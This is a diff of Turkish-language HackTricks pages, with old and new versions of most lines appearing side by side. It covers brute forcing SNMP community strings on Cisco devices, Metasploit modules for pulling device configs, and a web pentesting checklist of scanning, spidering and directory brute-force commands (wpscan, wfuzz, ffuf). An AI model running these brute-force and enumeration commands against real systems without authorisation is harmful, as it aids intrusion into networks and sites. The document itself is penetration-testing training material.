Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Cisco Ağlarının Pentest Edilmesi
**SNMP**, genel mesajlar için 161/UDP ve trap mesajları için 162/UDP portları üzerinden UDP üzerinde çalışır. Bu protokol, SNMP ajanları ve sunucular arasında iletişimi sağlayan şifreler olarak hizmet veren topluluk dizilerine dayanır. Bu dizeler, erişim seviyelerini belirledikleri için önemlidir, özellikle **salt okunur (RO) veya okuma-yazma (RW) izinleri**. Bir pentester için dikkate değer bir saldırı vektörü, ağ cihazlarına sızmak amacıyla **topluluk dizilerinin kaba kuvvet saldırısı** yapmaktır.
**SNMP**, genel mesajlar için 161/UDP ve trap mesajları için 162/UDP portları üzerinden UDP üzerinde çalışır. Bu protokol, SNMP ajanları ve sunucular arasında iletişimi sağlayan şifreler olarak hizmet veren topluluk dizilerine dayanır. Bu dizeler, erişim seviyelerini belirledikleri için özellikle **salt okunur (RO) veya okuma-yazma (RW) izinlerini** belirler. Bir pentester için dikkate değer bir saldırı vektörü, ağ cihazlarına sızmayı amaçlayan **topluluk dizilerinin kaba kuvvet saldırısı**dır.
Bu tür kaba kuvvet saldırılarını gerçekleştirmek için pratik bir araç [**onesixtyone**](https://github.com/trailofbits/onesixtyone)'dir, bu araç potansiyel topluluk dizileri listesi ve hedeflerin IP adreslerini gerektirir:
```bash
@ -28,12 +28,12 @@ onesixtyone -c communitystrings -i targets
```
#### `cisco_config_tftp`
Metasploit çerçevesi, `cisco_config_tftp` modülünü içerir ve cihaz yapılandırmalarının çıkarılmasını kolaylaştırır, RW topluluk dizesinin elde edilmesine bağlı olarak. Bu işlem için temel parametreler şunlardır:
Metasploit çerçevesi, `cisco_config_tftp` modülünü içerir ve cihaz yapılandırmalarının çıkarılmasını kolaylaştırır, RW topluluk dizesi elde edilmesine bağlı olarak. Bu işlem için temel parametreler şunlardır:
* RW topluluk dizesi (**COMMUNITY**)
* Saldırganın IP adresi (**LHOST**)
* Hedef cihazın IP adresi (**RHOSTS**)
* Yapılandırma dosyaları için hedef klasör yol (**OUTPUTDIR**)
* Yapılandırma dosyaları için hedef dizin yolu (**OUTPUTDIR**)
Yapılandırma yapıldıktan sonra, bu modül cihaz ayarlarının belirtilen bir klasöre doğrudan indirilmesini sağlar.
@ -49,9 +49,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsan ve hacklenemez olanı hacklemek istiyorsan - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşulması gerekmektedir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -59,10 +59,10 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsan ve hacklenemez olanı hacklemek ist
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsun?** **Şirketini HackTricks'te reklam görmek ister misin?** ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misin?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol et!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfet, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini al**](https://peass.creator-spring.com)
* **Katıl** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip et.**
* **Hacking hilelerini paylaşarak PR'ler göndererek HackTricks repo**'suna ve **hacktricks-cloud repo**'ya **katkıda bulun.**
* Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **takip edin**.
</details>

View file

@ -8,15 +8,15 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ilginizi çekiyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_).
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -43,36 +43,36 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
## Metodoloji özeti
> Bu metodolojide, bir alan adına (veya alt alan adına) saldırı gerçekleştireceğinizi varsayacağız. Bu nedenle, bu metodolojiyi belirlenen her alan, alt alan veya kapsamı içinde belirlenemeyen web sunucusuna uygulamanız gerekmektedir.
> Bu metodolojide, bir alan adına (veya alt alan adına) saldırı gerçekleştireceğinizi varsayacağız. Bu nedenle, bu metodolojiyi belirlenen her alan, alt alan veya kapsam içinde belirlenemeyen bir web sunucusuna uygulamanız gerekmektedir.
* [ ] İlk olarak, web sunucusu tarafından kullanılan **teknolojileri belirleyin**. Eğer teknolojiyi başarılı bir şekilde belirleyebilirseniz, testin geri kalanı sırasında akılda tutulacak **püf noktaları** arayın.
* [ ] İlk olarak, web sunucusu tarafından kullanılan **teknolojileri belirleyin**. Eğer teknolojiyi başarılı bir şekilde tanımlayabilirseniz, testin geri kalanı sırasında akılda tutulması gereken **püf noktaları** arayın.
* [ ] Kullanılan teknolojinin **bilinen bir zafiyeti** var mı?
* [ ] **Tanınmış bir teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için **yararlı bir püf noktası** var mı?
* [ ] Çalıştırılacak **özel tarama aracı** var mı (örneğin wpscan)?
* [ ] **Genel amaçlı tarama araçlarını** başlatın. Bulabilecekleri bir şey olup olmadığını veya ilginç bilgiler bulabileceklerini asla bilemezsiniz.
* [ ] Çalıştırılacak **özel tarama araçları** var mı (örneğin wpscan)?
* [ ] **Genel amaçlı tarama araçlarını** başlatın. Bir şey bulacaklarını veya ilginç bilgiler bulacaklarını asla bilemezsiniz.
* [ ] İlk kontrollerle başlayın: **robots**, **sitemap**, **404** hata ve **SSL/TLS taraması** (HTTPS ise).
* [ ] Web sayfasını **spidering** işlemine başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri** bulma zamanı. Ayrıca, **özel bulguları** kontrol edin.
* [ ] _Herhangi bir brute-force veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin spider edilmelidir._
* [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri tarayarak yeni **dosyaları** ve **dizinleri** brute force etmeye çalışın.
* [ ] _Herhangi bir brute-force veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin brute force edilmelidir._
* [ ] **Yedeklerin kontrol edilmesi**: Keşfedilen dosyaların yedeklerini bulabilir misiniz? Yaygın yedek uzantılarını ekleyerek kontrol edin.
* [ ] **Parametreleri Brute Force etme**: **Gizli parametreleri** bulmaya çalışın.
* [ ] Tüm olası **kullanıcı girişi kabul eden uç noktaları** belirledikten sonra, bunlarla ilgili tüm türden **zafiyetleri** kontrol edin.
* [ ] **Yedeklerin kontrol edilmesi**: Keşfedilen dosyaların yedeklerini bulmaya çalışın ve yaygın yedek uzantılarını ekleyin.
* [ ] **Parametreleri Brute-Force etme**: **Gizli parametreleri** bulmaya çalışın.
* [ ] Tüm olası **kullanıcı girişi kabul eden uç noktaları** tanımladıktan sonra, bunlarla ilgili tüm türden **zafiyetleri** kontrol edin.
* [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md)
## Sunucu Sürümü (Zafiyetli mi?)
### Belirleme
### Tanımlama
Çalışan sunucu **sürümü** için **bilinen zafiyetlerin** olup olmadığını kontrol edin.\
**Yanıtın HTTP başlıkları ve çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü belirlemek** için oldukça yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)**:** gibi araçlar da faydalı olabilir.
**Yanıtın HTTP başlıkları ve çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü tanımlamak** için oldukça yararlı olabilir. **Nmap taraması** sunucu sürümünü tanımlayabilir, ancak ayrıca [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)**:** gibi araçlar da faydalı olabilir.
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
**Web uygulamasının sürüm** **açıklarını arayın** [**için**](../../generic-methodologies-and-resources/search-exploits.md)
**Web uygulamasının güvenlik açıklarını arayın** [**sürüm** **versiyonu** için](../../generic-methodologies-and-resources/search-exploits.md)
### **Herhangi bir WAF olup olmadığını kontrol edin**
@ -82,7 +82,7 @@ webanalyze -host https://google.com -crawl 2
### Web teknik hileler
Farklı tanınmış **teknolojilerdeki açıkları bulmak** için bazı **hileler**:
Farklı popüler **teknolojilerdeki güvenlik açıklarını bulmak** için bazı **hileler**:
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
* [**Apache**](apache.md)
@ -116,19 +116,19 @@ Farklı tanınmış **teknolojilerdeki açıkları bulmak** için bazı **hilele
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
_Aynı **alan adının** farklı **portlarda**, **klasörlerde** ve **alt alan adlarında** farklı **teknolojiler** kullanabileceğini unutmayın._\
Web uygulaması herhangi bir önce **listelenen teknoloji/platform** veya **başka bir** teknoloji kullanıyorsa, **İnternet'te** yeni hileler aramayı unutmayın (ve bana bildirin!).
_Aynı **alan adının** farklı **portlarda**, **klasörlerde** ve **alt alanlarda** farklı **teknolojiler** kullanabileceğini unutmayın._\
Eğer web uygulaması herhangi bir önceki **teknoloji/platform** veya **başka bir** teknoloji kullanıyorsa, **İnternet'te** yeni hileler aramayı unutmayın (ve bana bildirin!).
### Kaynak Kod İncelemesi
Uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi White box testini** gerçekleştirmenin yanı sıra, mevcut **Black-Box testi** için **yararlı olabilecek bazı bilgiler** bulunmaktadır:
Uygulamanın **kaynak kodu** github'da mevcutsa, uygulamanın **kendi başınıza Beyaz Kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **yararlı olabilecek bazı bilgiler** bulunabilir:
* Web üzerinden erişilebilen **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya herhangi bir **sürüm bilgisi** var mı?
* **Kimlik bilgileri** nerede ve nasıl saklanıyor? Kimlik bilgilerini içeren (erişilebilir?) **dosya** var mı?
* **Şifreler** **düz metin mi**, **şifrelenmiş mi** veya hangi **hashleme algoritması** kullanılıyor?
* Web üzerinden erişilebilen **Değişiklik günlüğü veya Readme veya Sürüm** bilgisi içeren bir dosya var mı?
* **Kimlik bilgileri** nerede ve nasıl saklanıyor? (kullanıcı adları veya şifrelerle erişilebilir mi?)
* **Şifreler** düz metin mi, **şifrelenmiş** mi veya hangi **hashleme algoritması** kullanılıyor?
* Bir şeyi şifrelemek için herhangi bir **anahtar** kullanılıyor mu? Hangi **algoritma** kullanılıyor?
* Bu dosyalardan herhangi birine **bir açık kullanarak erişebilir misiniz**?
* Github'da (çözülmüş ve çözülmemiş) **sorunlarda** veya **commit geçmişinde** (belki eski bir commit içinde **girilen bir şifre**) **ilginç bilgiler** var mı?
* Bazı bir **zafiyeti sömürerek** bu dosyalardan herhangi birine **erişebilir misiniz**?
* Github'da (çözülmüş ve çözülmemiş) **sorunlarda** veya **commit geçmişinde** (belki eski bir commit içinde bir **şifre** bulunabilir) **ilginç bilgiler** var mı?
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Eğer bir CMS kullanılıyorsa, **bir tarayıcı çalıştırmayı** unutmayın, belki ilginç bir şeyler bulunabilir:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** web siteleri için güvenlik sorunlarını taramak için (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** web siteleri için güvenlik sorunlarını taramak için. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **veya** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -163,9 +163,9 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> Bu noktada, müşteri tarafından kullanılan web sunucusu hakkında bazı bilgilere zaten sahip olmalısınız (veri verilmişse) ve test sırasında akılda tutulması gereken bazı püf noktalar olmalıdır. Şanslıysanız bir CMS bulmuş olabilir ve bazı tarayıcıları çalıştırmış olabilirsiniz.
> Bu noktada, istemci tarafından kullanılan web sunucusu hakkında bazı bilgilere zaten sahip olmalısınız (veri verilmişse) ve test sırasında akılda tutulması gereken bazı püf noktalar olmalıdır. Şanslıysanız bir CMS bulmuş olabilir ve bazı tarayıcıları çalıştırmış olabilirsiniz.
## Adım adım Web Uygulama Keşfi
## Adım adım Web Uygulaması Keşfi
> Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız.
@ -182,24 +182,24 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**Hataları zorlama**
Web sunucuları, tuhaf veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **zafiyetleri** veya **duyarlı bilgilerin ifşa edilmesini** açabilir.
Web sunucuları, tuhaf verilerin kendilerine gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **zafiyetleri** veya **duyarlı bilgilerin ifşasını** açabilir.
* /whatever\_fake.php (.aspx,.html,.vb gibi) gibi **sahte sayfalara** erişin
* **"\[]", "]]" ve "\[\["** gibi **çerez değerlerine** ve **parametre** değerlerine hatalar oluşturmak için ekleyin
* Hata oluşturmak için URL'nin **sonuna** **`/~randomthing/%s`** olarak giriş yaparak hata oluşturun
* **PATCH, DEBUG** gibi farklı **HTTP Fiillerini** veya yanlış olan **FAKE**'yi deneyin
* /whatever\_fake.php (.aspx,.html,.vb) gibi **sahte sayfalara** erişin
* Hatalar oluşturmak için **"\[]", "]]" ve "\[\["** gibi **çerez değerlerini** ve **parametre** değerlerini ekleyin
* URL'nin **sonuna** **`/~randomthing/%s`** olarak giriş yaparak hata oluşturun
* PATCH, DEBUG gibi **farklı HTTP Fiillerini** veya yanlış olan FAKE'i deneyin
#### **Dosya yükleme olanağını kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
Eğer **WebDav**'in **etkin** olduğunu fark ederseniz ancak kök klasöre **dosya yükleme** izniniz yoksa şunları deneyin:
Eğer **WebDav'ın** **etkin** olduğunu ancak kök klasöre **dosya yüklemek için yeterli izninizin olmadığını** bulursanız şunları deneyin:
* Kimlik bilgilerini **Brute Force** ile deneyin
* WebDav aracılığıyla dosya **yükleme** deneyin ve web sayfasının içinde **bulunan diğer klasörlere** dosya yükleme izniniz olabilir.
* WebDav aracılığıyla dosya **yükleyin** ve web sayfasının içindeki **bulunan klasörlere**. Diğer klasörlere dosya yüklemek için izniniz olabilir.
### **SSL/TLS zafiyetleri**
* Uygulama herhangi bir yerde **HTTPS kullanımını zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
* Uygulama **HTTP kullanarak hassas verileri (şifreler) gönderiyorsa**. Bu yüksek bir zafiyettir.
* Uygulama **herhangi bir yerde HTTPS kullanımını zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
* Uygulama, hassas verileri (şifreleri) HTTP kullanarak gönderiyorsa. Bu yüksek bir zafiyettir.
[**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanarak **zafiyetleri** kontrol edin (Hata Ödülü programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri tekrar kontrol etmek için [**a2sv** ](https://github.com/hahwul/a2sv)'yi kullanın:
```bash
@ -220,46 +220,46 @@ sslyze --regular <ip:port>
Web içinde bir tür **örümcek** başlatın. Örümceğin amacı, test edilen uygulamadan **mümkün olan en fazla yol** u bulmaktır. Bu nedenle, mümkün olduğunca çok geçerli yol bulmak için web taraması ve harici kaynaklar kullanılmalıdır.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML örümcek, JS dosyalarında LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML örümcek, JS dosyalarında LinkFinder ve harici kaynak olarak Archive.org.
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML örümcek, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML örümcek, ayrıca "önemli dosyaları" belirtir.
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML örümcek. Ayrıca Archive.org'da arama yapar.
* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir örümcek değildir ancak yararlı olabilir. Sadece her bir ana bilgisayar için bir dosya ve her bir ana bilgisayar üzerinde her yolu alacak ve yanıtı kaydedecektir.
* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir örümcek değildir ancak yararlı olabilir. Sadece her bir ana bilgisayarda bir dosya ve her bir ana bilgisayarda her yolun alınmasını ve yanıtın kaydedilmesini gösterebilirsiniz.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS derleme yeteneklerine sahip HTML örümcek. Ancak, bakımsız gibi görünüyor, derlenmiş sürüm eski ve mevcut kod derlenmiyor.
* [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları kullanan HTML örümcek (wayback, otx, commoncrawl).
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu betik parametre içeren URL'leri bulacak ve listeleyecektir.
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS derleme yeteneklerine sahip HTML örümcek.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS dosyalarında yeni yollar arayabilen JS güzelleştirme yeteneklerine sahip HTML örümcek. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner)'a da bakmak faydalı olabilir, bu, LinkFinder'ın bir sarmalayıcısıdır.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takımlar, bilgi güvenliği uzmanları için kullanışlıdır.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS dosyalarında yeni yollar arayabilen JS güzelleştirme yeteneklerine sahip HTML örümcek. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) 'a da bakmak faydalı olabilir, bu, LinkFinder'ın bir sarmalayıcısıdır.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takımlar, bilgi güvenliği ninjaları için kullanışlıdır.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): AJAX isteklerini kolayca keşfetmek için Tornado ve JSBeautifier kullanan bir python 2.7 betiği. Bakımsız gibi görünüyor.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, çirkin (minify) dosyalardan göreceli URL'leri bulmak ve çıkarmak için nifty düzenli ifade kullanacak.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, çeşitli araçlar): Çeşitli araçlar kullanarak JS dosyalarından ilginç bilgiler toplar.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, çirkin (minify) dosyalardan göreceli URL'leri bulmak ve çıkarmak için nifty düzenli ifadeleri kullanır.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, birkaç araç): Birkaç aracı kullanarak JS dosyalarından ilginç bilgiler toplar.
* [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı başsız bir tarayıcıda yükler ve sayfayı yüklemek için yüklenen tüm URL'leri yazdırır.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı başsız bir tarayıcıda yükler ve sayfanın yüklenen tüm URL'lerini yazdırır.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların birkaç seçeneğini karıştıran içerik keşif aracı
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında yol ve parametreleri bulmak için bir Burp uzantısı.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL'si verildiğinde güzel JS kodunu alacak bir araç
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL'si verildiğinde size güzel JS kodunu getirecek bir araç
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araçtır.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback machine'den bağlantıları keşfet (ayrıca wayback'ten yanıtları indirir ve daha fazla bağlantı arar
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Belirli regexler kullanarak (formları doldurarak bile) tarama yapar ve hassas bilgileri bulur.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Siber güvenlik uzmanları için tasarlanmış gelişmiş çok özellikli GUI web güvenliği Tarama/Örümcek aracı.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'leri, yolları, sırları ve diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Parametreleri ve uç noktaları çıkarmak için bir **Burp Suite uzantısı**.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (ayrıca wayback'ten yanıtları indirin ve daha fazla bağlantı arayın
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Belirli regexler kullanarak (formları doldurarak bile) gezin ve hassas bilgileri bulun.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenliği Örümcek/Crawler'dır.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'ler, yollar, sırlar ve diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)'dır.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Parametreleri ve uç noktaları çıkarmak için isteğin burp geçmişinden özel kelime listesi oluşturmak için basit bir **Burp Suite uzantısı**.
* [**katana**](https://github.com/projectdiscovery/katana) (go): Bu için harika bir araç.
### Dizinler ve Dosyaları Kaba Kuvvet ile Deneme
Kök klasörden **kaba kuvvet uygulamaya** başlayın ve **bu yöntemle bulunan tüm dizinleri** ve **Örümcek** tarafından **keşfedilen** tüm dizinleri kaba kuvvet uygulayarak (bu kaba kuvveti **tekrarlayarak** ve bulunan dizinlerin adlarını kullanılan kelime listesinin başına ekleyerek) emin olun.\
Kök klasöründen **kaba kuvvet uygulamaya** başlayın ve **bu yöntemle bulunan tüm dizinleri** ve **Örümcek** tarafından **keşfedilen** tüm dizinleri kaba kuvvet uygulayarak (bu kaba kuvveti **tekrarlayarak** ve bulunan dizinlerin adlarını kullanılan kelime listesinin başına ekleyerek) emin olun.\
Araçlar:
* **Dirb** / **Dirbuster** - Kali'de bulunur, **eski** (ve **yavaş**) ancak işlevsel. Otomatik imzalı sertifikalara ve tekrarlayan aramaya izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ancak** tekrarlayan aramaya izin verir.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **tekrarlayan** arama özelliği yoktur.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **tekrarlayan** arama özelliğine sahip değildir.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, tekrarlayan aramayı destekler.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): Bu bir örümcek değil, bulunan URL'lerin listesini "tekrarlanan" URL'leri silmek için kullanılan bir araçtır.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizin listesi oluşturmak için bir Burp Uzantısı
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Js içe aktarmalarına dayalı olarak tekrarlanan işlevselliklere sahip URL'leri kaldırır.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Js içe aktarmalara dayalı tekrarlanan işlevselliklere sahip URL'leri kaldırır.
* [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek ve kullanılacak kelime listelerini seçmek için wapalyzer'ı kullanan bir araç.
